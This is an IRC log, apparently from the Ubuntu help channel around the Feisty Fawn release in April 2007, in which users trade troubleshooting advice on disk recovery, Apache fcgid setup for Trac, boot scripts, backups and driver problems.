[11:19] <pse> Hi! I'm having trouble with my harddrive.. I checked out this link http://www.ubuntugeek.com/recover-data-from-a-damaged-hard-disk-using-dd_rhelp.html but the line "sudo apt-get install make gcc g++ ddrescue" gave me an error "E: Couldn't find package ddrescue" which means? I guess I need that ddrescue package?
[11:20] <kneeki> stoft: really nice for work imo ;)
[11:20] <szymon_g> did anyone had following problem during kernel's compilation?? :
[11:20] <szymon_g> http://ubuntuforums.org/showthread.php?t=411887
[11:20] <szymon_g> eh
[11:20] <szymon_g> dpkg-gencontrol: error: package linux-image-2.6.20.3-ubuntu1-mojejadronrjeden not in control info
[11:20] <r4v5> ooh, that's nice. i somehow managed to make dist-upgrade only output to logs
[11:20] <thekidrio> kneeki, yeah i am trying to recall it, probably find it under linux mouse bind
[11:20] <szymon_g> make[1] : *** [debian/linux-image-2.6.20.3-ubuntu1-mojejadronrjeden]  Error 255
[11:20] <mwe> felixhummel: and import sys as well I think
[11:20] <szymon_g> ??
[11:20] <thekidrio> gimme a sec heh
[11:20] <rambo3> your kernel == your problem
[11:21] <stoft> kneeki: yup, too bad we don't get to use linux at work :(
[11:21] <szymon_g> eh, ok, but i didn't change anything in configuration...
[11:21] <kneeki> stoft: I have it installed on my laptop =)
[11:21] <r4v5> is there really a good reason to make the package manager responsible for kernels?
[11:21] <szymon_g> source is from ubuntu (not from kernel.org)...
[11:21] <coach_> is there no rar-package for ubuntu64bit?
[11:21] <addam1> wohooohohohohohoH!
[11:22] <pse> Can someone help me out with my damaged harddrive? More info above :] 
[11:22] <Slart> coach: I think file roller handles rar files
[11:22] <Slart> bah
[11:23] <stoft> is there a verbose option for dpkg? I can't seem to find one
[11:23] <kneeki> pse: Did the HDD die?
[11:23] <BenjaminJohnston> 0..
[11:24] <robdeman> hi folks, mod_python is throwing a Segmentation fault(11) (using Trac)... it seems I need to downgrade mod_python to fix it.. how can I do this?
[11:24] <thekidrio> change it to monty_python
[11:24] <szymon_g> ;P
[11:24] <thekidrio> sorry
[11:25] <felixhummel> mwe, hehe. i don't want to execute update-rc.d in a python script, but run a python script at boot (with update-rc.d maybe).
[11:25] <szymon_g> bye
[11:25] <mwe> pse: usually you would at least install build-essential before installing other compilers and stuff
[11:25] <r4v5> thekidrio: congratulations, that joke was as funny as cervical cancer
[11:25] <brett_> robdeman: use fcgi instead
[11:25] <mwe> felixhummel: oh
[11:25] <robdeman> brett_ ehrm how?
[11:25] <LjL> stoft: --force-remove-reinstreq is quite verbose, for instance
[11:25] <felixhummel> mwe, i could wrap it in a bash script, but maybe it works that way too?
[11:25] <mwe> felixhummel: just put the name it in /etc/rc.local I think
[11:25] <stoft> robdeman: there's a version option to apt-get (can't remember it right now though :( ) that allows you to install the version you want, you have to set it explicitly though
[11:26] <pse> kneeki: It's damaged.. I can't copy stuff from it. But I can see it
[11:26] <felixhummel> mwe, thanks
[11:26] <robdeman> stoft: mmm  ok
[11:26] <felixhummel> i always forget this file ;)
[11:26] <LjL> stoft: but seriously, "man dpkg", hit /, and type "debug" and enter
[11:26] <mwe> felixhummel: but you need the magic #! at the top I think
[11:26] <brett_> robdeman: http://trac.edgewall.org/wiki/TracFastCgi
[11:26] <felixhummel> LONG LIVE /etc/rc.local
[11:26] <kneeki> pse: Hmm, have you tried putting it in a different PC, or changing out the cables?
[11:26] <mwe> felixhummel: #!/usr/bin/python and chmod +x it (I think)
[11:26] <brett_> robdeman: it's not quite mod_python, but it'll save you some dependency hell trying to downgrade it
[11:27] <robdeman> ok
[11:27] <pse> kneeki: yeah, it is damaged.. you can hear it :P
[11:27] <stoft> thnx LjL, I'd already tried "/verbose" without luck
[11:27] <pse> kneeki: I just want to take the info out and then throw the hdd away
[11:27] <kneeki> pse: Lol, I think your kinda screwed
[11:27] <felixhummel> yes, mwe. it's run as root then, right? so i'd need to su -u me -c "python script.py", right?
[11:28] <pse> kneeki: only problem is that I can't copy it.. I can list it, so I'm not screwed I think
[11:28] <felixhummel> please excuse my ", right" stereotype
[11:28] <pse> kneeki: I think dd_rescue could help me
[11:28] <kneeki> pse: Hmm, well - I had a few HDD's that would show up in POST, but I could not access information from either
[11:28] <pse> kneeki: or to be more exact, dd_rhelp could help me :] 
[11:28] <kneeki> pse: I tossed 'em. =P
[11:28] <mwe> felixhummel: yeah if you want it to run a you. su felixhummel -c "blah.py" is good enough I think
[11:28] <Zambezi> Anyone know howto connection to FTP with SSL using lftp?
[11:29] <Glos_WiFi> hey guys
[11:29] <pse> kneeki: ok, well I wanna give it a try before tossing it away
[11:29] <felixhummel> thanks again, mwe. i wish you well.
[11:29] <mwe> felixhummel: if the first line is #!/usr/bin/python
[11:29] <pse> kneeki: I just want to get help with the dd_rescue error.. why do I get it? where can I get dd_rescue?
[11:29] <thekidrio> r4v5, here is a better joke Q:      How much does it cost to ride the Unibus? A:      2 bits.
[11:29] <mwe> felixhummel: test it. I haven't tried running python scripts at boot but I think it will work
[11:29] <YetiChick> pse:  You might also want to try testdisk.  It's worked more consistently than dd_rescue for me.
[11:30] <tuxedo_kamen> guys, I'm a newbie and I wanted to backup all my configs, before doing a clean install tomorrow
[11:30] <felixhummel> will do
[11:30] <tuxedo_kamen> can anyone please help me ?
[11:30] <mwe> !info dd_rescue
[11:30] <GMWeezel> How can I force a flash drive to unmount without needing a password? I am trying to make an "emergency unmount" bash script.
[11:30] <ubotu> Package dd_rescue does not exist in edgy, edgy-backports, edgy-seveas
[11:30] <wolfeon> /wc/
[11:30] <kneeki> pse: Good luck!
[11:31] <PriceChild> tuxedo_kamen, copy your /home/username folder somewhere
[11:31] <pse> YetiChick: ok.. you've got much experience? :] 
[11:31] <pse> kneeki: thnx...
[11:31] <tuxedo_kamen> I don't know how to do that >_>
[11:31] <YetiChick> pse:  Yeah, i'd say quite a bit.
[11:31] <pse> !info testdisk
[11:31] <ubotu> testdisk: Partition scanner and disk recovery tool. In component universe, is optional. Version 6.4.1-1 (edgy), package size 459 kB, installed size 1232 kB
[11:31] <thekidrio> tuxedo_kamen, cp ~ /tmp
[11:31] <pappy-> lol this is a lot of users :)
[11:31] <stoft> tuxedo_kamen: "cp -r ~/ /your/backup/folder" in a terminal for example
[11:32] <mwe> pse: it's called ddrescue I think
[11:32] <mwe> !info ddrescue
[11:32] <ubotu> ddrescue: copies data from one file or block device to another. In component universe, is optional. Version 1.10-1 (edgy), package size 16 kB, installed size 76 kB
[11:32] <thekidrio> or use a back up proggie
[11:32] <pse> YetiChick: ok nice.. you haven't tried dd_rhelp?
[11:32] <Glos_WiFi> Does anyone know why X would keep crashing after i reboot my computer?
[11:32] <thekidrio> several guides for back ups on ubuntuguides and other paces
[11:32] <thekidrio> places even
[11:32] <stoft> tuxedo_kamen: you can also do it from the gui with your file browser
[11:32] <pse> !info ddrescue
[11:32] <mwe> pse: look up ;)
[11:32] <YetiChick> pse:  I've used ddrescue and testdisk.  dd_rhelp doesn't rign any bells.
[11:32] <r4v5> Glos_WiFi: try to get at your /var/log/Xwhatever.log
[11:33] <pse> mwe: oh thnx :] 
[11:33] <thekidrio> tuxedo_kamen, just make sure you sudo file manager and make sure it shows hidden
[11:33] <pse> YetiChick: oki.. http://www.ubuntugeek.com/recover-data-from-a-damaged-hard-disk-using-dd_rhelp.html
[11:33] <babo> are there any ethernet tools that can be used from the commandline ?
[11:33] <r4v5> what do you mean by ethernet tools?
[11:33] <babo> possibly for realtime monitoringn ?
[11:33] <r4v5> tcpdump, ngrep?
[11:34] <babo> r4nge, monitoring packets ...
[11:34] <tag> ok
[11:34] <YetiChick> pse:  Sounds neat.  I've always done the work by hand, but that script might come in handy.
[11:34] <Glos_WiFi> r4v5: how do i find out which log im after? because you sed Xwhatever
[11:34] <Agrajag> babo: wireshark has a command-line version called tshark
[11:34] <svg> w00t http://www.vanginderachter.be/2007/michael-dell-runs-ubuntu/
[11:34] <tag> so I deleted my swap partition, copied my existing partition into the bigger spot...it looks ok, but it doesn't seem to show up in the grub boot menu
[11:34] <tag> so what do I do to make that happen?
[11:34] <stoft> tuxedo_kamen: after you've installed the new ubuntu you copy things back again. just so you know, there might be a slight danger of config files for certain applications no longer working as expected, it depends how much the application has changed.
[11:34] <CrazyNorman> Are there any expected changes between whats available online tonight and whats going to be officially released tonight?
[11:35] <tuxedo_kamen> >_<
[11:35] <tuxedo_kamen> ok....
[11:35] <pse> YetiChick: you think dd_rhelp is better than testdisk?
[11:35] <r4v5> Glos_WiFi: on my particular machine it's /var/log/Xorg.0.log
[11:35] <thoreauputic> CrazyNorman: unlikely
[11:35] <kane77> CrazyNorman, no, not major
[11:35] <CrazyNorman> And is the latest build out there right now available the beta from three weeks ago?
[11:35] <babo> Agrajag, is it better than ngrep ?
[11:35] <stoft> tuxedo_kamen: hopefully the application developers have taken that into account and "fixed" the config files, or built in backwards compatibility.
[11:35] <Puppy_> I was installing something in the terminal when I accidentally interrupted it. It says:
[11:35] <Puppy_> http://paste.ubuntu-nl.org/16312/     what do I do?
[11:36] <Glos_WiFi> r4v5 ok ive found that log, what exactly am i looking for?
[11:36] <Agrajag> babo: I don't know, I haven't used ngrep.
[11:36] <r4v5> read it, see what it errors out on, and fix that. usually it's something stupid like no mouse declared, etc
[11:36] <tag> ugh
[11:36] <tuxedo_kamen> ok
[11:36] <thoreauputic> CrazyNorman: no, there's a daily from the 15th
[11:36] <CrazyNorman> thoreauptic: Thanks
[11:36] <babo> Agrajag, k thanks
[11:36] <MarkFeathers> how do I share my wireless connection with someone plugged into my ethernet port on my laptop?
[11:36] <YetiChick> pse:  dd_rhelp is an interface for ddrescue.  As such, since I've had better (and faster) results from testdisk, I'd probably start with testdisk.  But that's just how I'd do it.  Neither is really "better" than the other.
[11:36] <mwe> Puppy_: I guess you already tried sudo dpkg --configure -a?
[11:36] <Alkarex> Hi folks, is there someone who knows about the following problem:
[11:36] <Alkarex> I am under Windows Vista and I would like to run Ubuntu in Virtual PC 2007. With Ubuntu 6.10 or 7.04 the mouse is not captured and therefore not moving in Ubuntu. The rest is working fine... Does someone know how to fix this issue except than to revert to Ubuntu 6.06?
[11:37] <kneeki> !remote
[11:37] <ubotu> Sorry, I don't know anything about remote - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[11:37] <r4v5> Glos_WiFi: each line starts with something like [ii]  for info, or [EE]  for error. look at what's erroring out
[11:37] <kneeki> !remotedesktop
[11:37] <ubotu> Sorry, I don't know anything about remotedesktop - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[11:37] <stoft> tuxedo_kamen: you may have to play around with the different files a bit to make things work as they should. once you show hidden files the directory structures are usually straight forward enough so you shouldn't have a problem understanding what is what.
[11:37] <kneeki> boo!
[11:37] <LjL> !botabuse
[11:37] <ubotu> Please investigate with me only in /msg or in #ubuntu-bots (see also !Bot). Abusing the channel bots will only result in angry ops...
[11:37] <tuxedo_kamen> ok
[11:37] <Puppy_> mwe: no... I am new to Linux and did not want to mess it up.
[11:37] <LjL> !vnx > kneeki    (kneeki, see the private message from Ubotu)
[11:37] <YetiChick> pse:  It's more of a case of determining which application works best for you, the way you work.
[11:37] <mwe> Puppy_: try. it wont mess it up
[11:37] <r4v5> It should be towards the bottom of the file, but be warned that the startup is not single-threaded so other things will continue to generate logs long after one particular screwup made the startup bail
[11:37] <Glos_WiFi> r4v5: does the log file overwrite each start of X by any chance?
[11:37] <mwe> Puppy_: at worst it wont work
[11:37] <pse> YetiChick: hehe :]  well thnx for your help
[11:37] <Puppy_> mwe: thanks!
[11:37] <kneeki> Ah, thanks guys =)
[11:38] <YetiChick> pse:  good luck.
[11:38] <r4v5> Glos_WiFi: yes, and the old one is stored in .old
[11:38] <stoft> tuxedo_kamen: as long as you have your backup squared away, you can allow yourself some freedom to try different things. not being afraid is the important thing.
[11:38] <Glos_WiFi> ok thats whats im going to need to find then, because i reinstall the Nvidia driver and it works
[11:38] <wtdb> hey my hard drive is set as an UDF filesystem and i was wondering if anyone could tell me how to change it to NTFS all i have is a vista install dvd so i can get into the command prompt and use diskpart
[11:38] <eodchop> has anyone heard if feisty is still on track for April 19th??
[11:38] <tuxedo_kamen> ok....
[11:38] <dragonmantank> How do I clear out aptitude/apt to stop giving me errors about an uninstall that errored out?
[11:39] <r4v5> Glos_WiFi: if it works, it was erroring because of nvidia's driver
[11:39] <Glos_WiFi> r4v5 can i send you a PM with the error in?
[11:39] <r4v5> Glos_WiFi: if you must
[11:39] <arkivist> \leave
[11:39] <arkivist> \quit
[11:39] <stoft> tuxedo_kamen: and remember, the '.' period prefix denotes hidden files/directories (e.g. .gnome2/ )
[11:40] <tuxedo_kamen> thanks :)
[11:40] <wtdb> ?
[11:40] <YetiChick> wtdb:  Do you mean convert keeping the data, or reformat completely?
[11:40] <wtdb> reformat completely
[11:41] <wtdb> i tried messing around with diskpart but couldnt found out how
[11:41] <EmxBA> Feisty shall be released in few minutes or in six hours? it should be released at 00:00 at some time zone? :)
[11:41] <wtdb> *find
[11:41] <YetiChick> wtdb:  You should be able to do that from the Vista inctall command prompt.  Or just run the installer, let it format the drive - and exit at that point.
[11:41] <richie_>  anybody knows if thunderbird 2.0 will be available in feisty
[11:41] <richie_> ?
[11:41] <wtdb> it wont reformat the drive since its UDF
[11:42] <eck> richie_: no, 1.5.0.10
[11:42] <stoft> eck: and iceweasal?
[11:42] <richie_> but thunderbird 2.0 is final!
[11:42] <robdeman> so how do I install mod_fastcgi ?
[11:43] <eck> richie_: i don't think the final was released in time
[11:43] <psusi> wtdb: what won't reformat the drive?
[11:43] <wtdb> the vista install
[11:43] <eck> stoft: you can get it from the debian repositories if you like :-)
[11:43] <psusi> really?  what happens when you try?
[11:43] <stoft> k :)
[11:43] <psusi> to delete the partition that is?
[11:43] <foug> anyone know how to install seamonkey through the terminal? sudo apt-get install seamonkey doesn't work
[11:43] <Puppy_> mwe: Thanks, it works!
[11:43] <richie_> http://www.mozilla.com/en-US/thunderbird/
[11:44] <EmxBA> foug: how doesn't it work?
[11:44] <wtdb> im not sure hang let me see what it tells em
[11:44] <wtdb> me
[11:44] <eck> richie_: the feature/version freeze was some time ago, before 2.0 was stable
[11:44] <dragonmantank> how do I clear up this error with aptitude? http://www.pastebin.ca/447187
[11:44] <felixhummel> what tools can notify me of new mail? (gnome, little popup "u have new mail")
[11:45] <eck> richie_: i don't think it would be too hard to install it yourself though
[11:45] <richie_> ok
[11:45] <richie_> thanks
[11:45] <mwe> Puppy_: great
[11:45] <richie_> good night
[11:45] <eck> felixhummel: i have used mail-notification
[11:45] <reanjr> Yesterday or this morning, my audio stopped working. No errors, just no sound.  Anyone know how I can troubleshoot this?
[11:46] <felixhummel> that's it. thanks, eck!
[11:46] <spyzo> hI
[11:46] <mwe> !sound | reanjr
[11:46] <ubotu> reanjr: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[11:46] <DVS01> upon switching users then logging off, i end up being stuck at a black screen at the time between the logoff and the login screen (which i don't get to).  there is just the black screen and a mouse pointer. i dont see anything relevant in gdm logs. what could be causing this?
[11:46] <Stoffer> any ideas of why I can't get into #ubuntu-1 anymore?
[11:46] <neoj> robdeman: are you sure you need mod_fastcgi and not mod_fcgid?
[11:46] <elpargo> could anyone point me to a sane document of how to build packages?
[11:46] <andy_> what is the problem, when I don't see my minimize/maximize/close buttons anymore?
[11:47] <reanjr> ubotu: is double-clicking on the volume control the same as running gnome-alsamixer? I don't use GNOME
[11:48] <BlueSky1974> Hello  !!
[11:48] <foug> where did EmxBA?
[11:48] <robdeman> neoj: well im trying to do this: http://trac.edgewall.org/wiki/TracFastCgi
[11:48] <elpargo> reanjr, ubotu is a bot, open a terminal and type alsamixer
[11:48] <BlueSky1974> I am new to Ubuntu
[11:48] <foug> anyone know how to install seamonkey through the terminal? sudo apt-get install seamonkey doesn't work
[11:49] <orbin> BlueSky1974: hi and welcome.
[11:49] <J-_> !seamonkey
[11:49] <ubotu> Seamonkey, formerly known as "Mozilla Application Suite", is available at http://www.mozilla.org/projects/seamonkey/ with install instructions for ubuntu at http://ubuntuforums.org/showthread.php?t=186011
[11:49] <elpargo> foug, it's call mozilla-seamonkey if I recall correctly apt-cache for the next time :)
[11:50] <neoj> robdeman: what version of apache?
[11:50] <robdeman> neoj: ehrm V2.x
[11:50] <Stoffer> am I spelling the channel correctly:  ubuntu-1?
[11:50] <mc44> Stoffer: +1
[11:50] <neoj> robdeman: and do you know of the excellet apt-cache and apt-get tools? :)
[11:50] <Stoffer> mc44: :P thanks1
[11:51] <robdeman> neoj: yes apt-get I know!
[11:51] <neoj> robdeman: you can search with apt-cache search
[11:51] <BlueSky1974> I am having problems with Beryl/Compiz on my Sony Vaio VGN-FE41S (laptop - Geforce 7600go with 128 MB dedicated video ram). The title bars disappear each time I activate the 3d effects on the desktop. I couldn't find what I am doing wrong (everything installed under Feisty Fawn with Synaptic; OpengGL acceleration activated, Nvidia driver 97.55)
[11:51] <neoj> robdeman: libapache2-mod-fcgid
[11:51] <Dandre> hello all,
[11:52] <Dandre> I have this error:
[11:52] <Dandre> Use of uninitialized value in print at /var/lib/defoma/scripts/gs.defoma line 108.
[11:52] <cryptolife> hello from croatia
[11:52] <neoj> robdeman: and then you can enable the module with a2enmod fcgid
[11:52] <mc44> BlueSky1974: try asking  in #ubuntu-effects
[11:52] <robdeman> neoj: libapache2-mod-fcgid - an alternative module compat with mod_fastcgi
[11:52] <Dandre> what should I do?
[11:52] <foug> elpargo: nope, didn't work
[11:52] <stian2> anyone have any idea when feisty will be released on Thursday?
[11:52] <neoj> robdeman: yup, apt-get install libapache2-mod-fcgid
[11:52] <squee_> how do I share my wireless connection with someone plugged into my ethernet port on my laptop?
[11:52] <carlosfs> Can you help me enable WPA on Ubuntu 6.10?
[11:52] <BlueSky1974> Thanks mc44 !
[11:53] <eck> Dandre: I think that is normal
[11:53] <neoj> robdeman: I read somewhere that fcgid is preferred over fastcgi
[11:53] <elpargo> foug, did you check the link J-_ send you?
[11:53] <Dandre> why?
[11:53] <foug> elpargo: i didn't see it
[11:53] <Slart> squee_: use iptables to do masquerading
[11:53] <Dandre> eck: Why is it normal?
[11:53] <foug> elpargo: o i see it now, lemme check itout
[11:54] <eck> Dandre: it probably doesn't cause any problems so no one has taken the time to fix it
[11:54] <robdeman> neoj: ok I installed it
[11:54] <elpargo> !seamonkey @ foug
[11:54] <elpargo> !seamonkey
[11:54] <ubotu> Seamonkey, formerly known as "Mozilla Application Suite", is available at http://www.mozilla.org/projects/seamonkey/ with install instructions for ubuntu at http://ubuntuforums.org/showthread.php?t=186011
[11:54] <Zorlin> !grumpy
[11:54] <ubotu> Sorry, I don't know anything about grumpy - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[11:54] <neoj> robdeman: ok, then enable it with a2enmod fcgid
[11:54] <eck> Dandre: i'm not really sure, you can check on launchpad if you like
[11:54] <Zorlin> Hmm.
[11:54] <Slart> squee_: bascially the same as a router setup.. there are lots of howto's on that... google for linux nat iptables or something like that
[11:54] <spyzo> Hey,I recently installed Edgy on a laptop. During the install I had a U.S. Robotics PCMCIA card (USR2410) inserted. The card was not detected or activated during install, and now I can't seem to get this card to run. I have dug through the forums and put google to work but all to no avail. I've tried several different linux-wlan-ng installs, different ndiswrapper .inf's, and sketchy modprobes with no results.
[11:54] <robdeman> neoj: yup i did
[11:54] <NkZ> Greetings!
[11:54] <neoj> robdeman: and after you restart apache, the module should be loaded
[11:54] <eck> Dandre: but i have definitely gotten that message before when updating fonts
[11:55] <Dandre> eck: what is launchpad?
[11:55] <rambo3> spyzo, what does card doo
[11:55] <rambo3> oooo
[11:55] <salty> squee_, is your friend plugged directly in your laptop or  thru a router first?
[11:55] <orbin> carlosfs: https://help.ubuntu.com/community/WifiDocs/WPAHowTo
[11:55] <Zorlin> rambo3, i'd assume its a wifi card
[11:55] <Zorlin> seeing as he's using NDISWrapper
[11:55] <carlosfs> orbin: thanks, let me see this.
[11:55] <NkZ> I wanted to know, is there any way to install Microsoft's Office Programs on Ubuntu? (I know Ubu comes with Open Office, But I need to use MS's Office Project)
[11:55] <robdeman> neoj: Do I need to do any of the AddHandler fastcgi-script .fcgi stuff described at http://trac.edgewall.org/wiki/TracFastCgi ?
[11:55] <eck> Dandre: /msg ubotu launchpad
[11:55] <spyzo> rambo3, it won't detect it during install
[11:56] <n00tz> !launchpad
[11:56] <ubotu> launchpad is a collection of development services for Open Source projects. It's Ubuntu's Bounty and Bug tracker, and much more; see https://launchpad.net/
[11:56] <r4v5> NkZ: you can use a program called wine to essentially simulate the windows environment and install in there
[11:56] <eck> Dandre: basically the bug tracking system for ubuntu, plus a whole lot more
[11:56] <neoj> robdeman: that _should_ be set in the /etc/apache2/mods-enabled/fcgid.conf config-file
[11:56] <esaym> so at 12midnight the links to fiesty will be posted on ubuntu.com?
[11:56] <rambo3> spyzo, what does lspcmci return
[11:56] <rambo3> sry lspcmcia
[11:56] <nickn4m3> hi all
[11:56] <cyphase> hmm, interesting.. http://www.dell.com/content/topics/global.aspx/corp/biographies/en/msd_computers?c=us&l=en&s=corp
[11:56] <robdeman> neoj: ah ok IC
[11:56] <NkZ> R4V5: Thanks!
[11:56] <neoj> robdeman: but my setup is on a debian box, so there might be some differences. but i doubt it
[11:56] <r4v5> NkZ: alternately, you can pay money for either crossoveroffice, which is essentially a wine fork that has more focus on making that kind of app working, or vmware, which allows you to simulate a whole windows operating system/virtual machine
[11:56] <cyphase> Michael Dell uses Ubuntu on one of his computers
[11:56] <jpsamara> 12 midnight of which timezone?
[11:57] <spyzo> The output of lspci is :: 00:00.0 Host bridge: VIA Technologies, Inc. VT8363/8365 [KT133/KM133]  (rev 80)
[11:57] <spyzo> 00:01.0 PCI bridge: VIA Technologies, Inc. VT8363/8365 [KT133/KM133 AGP] 
[11:57] <spyzo> 00:0a.0 CardBus bridge: O2 Micro, Inc. OZ601/6912/711E0 CardBus/SmartCardBus Controller
[11:57] <spyzo> 00:0c.0 FireWire (IEEE 1394): Texas Instruments TSB43AB21 IEEE-1394a-2000 Controller (PHY/Link)
[11:57] <spyzo> 00:11.0 ISA bridge: VIA Technologies, Inc. VT8231 [PCI-to-ISA Bridge]  (rev 10)
[11:57] <spyzo> 00:11.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06)
[11:57] <spyzo> 00:11.2 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 1e)
[11:57] <spyzo> 00:11.4 Bridge: VIA Technologies, Inc. VT8235 ACPI (rev 10)
[11:57] <spyzo> 00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT82C686 AC97 Audio Controller (rev 40)
[11:57] <robdeman> neoj: its there should work
[11:57] <spyzo> 00:11.6 Communication controller: VIA Technologies, Inc. AC'97 Modem Controller (rev 20)
[11:57] <spyzo> 00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II]  (rev 51)
[11:57] <spyzo> 01:00.0 VGA compatible controller: S3 Inc. VT8636A [ProSavage KN133]  AGP4X VGA Controller (TwisterK) (rev 01)
[11:57] <spyzo> sorry bout that guys
[11:57] <rambo3> Nooo
[11:57] <spyzo> sorry
[11:57] <rambo3> !paste | spyzo
[11:57] <ubotu> spyzo: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[11:57] <nickn4m3> I have a problem with bootsplash: I haven't ubuntu bootsplash anymore, but only text bootscreen... can someone help me please?
[11:57] <rambo3> spyzo, lspcmcia not pci
[11:57] <neoj> robdeman: those FastCgi..blah options actually dont apply to fcgid
[11:58] <robdeman> neoj: so what do I do to enable Trac now?
[11:58] <jchs> Anyone know how to get streaming audio working (e.g. BBC website) for Feisty Fawn?
[11:58] <neoj> robdeman: hmm *reads hes apache conf*
[11:58] <rambo3> !usplash | nickn4m3
[11:58] <robdeman> neoj: I have a /trac directive (im using Webmin)
[11:58] <nickn4m3> !usplash
[11:58] <ubotu> nickn4m3: To select the usplash artwork you want, use "sudo update-alternatives --config usplash-artwork.so && sudo update-initramfs -u" - See https://help.ubuntu.com/community/USplashCustomizationHowto for adding your custom artwork
[11:58] <nickn4m3> ok tnx, I'll try that
[11:58] <spyzo> sorry
[11:59] <NkZ> R4V5: Thanks! I think I'll try whe WineX alternative.
[11:59] <cafuego> solikeit'sapril19herenowwhere'sfeistydudes? omgponies!!!!
[12:00] <EmxBA> ubuntu will be released when it's ready, cafuego. for more informations and questions check #ubuntu+1
[12:00] <spyzo>  I'll try installing Dapper. Dappe auto-detects the card I think.
[12:00] <r4v5> so this new release will be ready for the desktop?
[12:00] <Panzer_> and in some parts of the world it is not yet 19April07
[12:00] <spyzo> it shouls
[12:00] <spyzo> it shoul
[12:00] <spyzo> [should] 
[12:00] <neoj> robdeman: did you set TRAC_ENV  ?
[12:00] <mc44> cafuego: no pony for you
[12:01] <EmxBA> r4v5: what do you mean by 'ready'? it doesn't fulfill your requireus?
[12:01] <erenon> the midnight is here, feisty is come (central europe)
[12:01] <foug> When I drag my window, it lags. known bug or what? I've installed my vid card drivers correctly as far as i know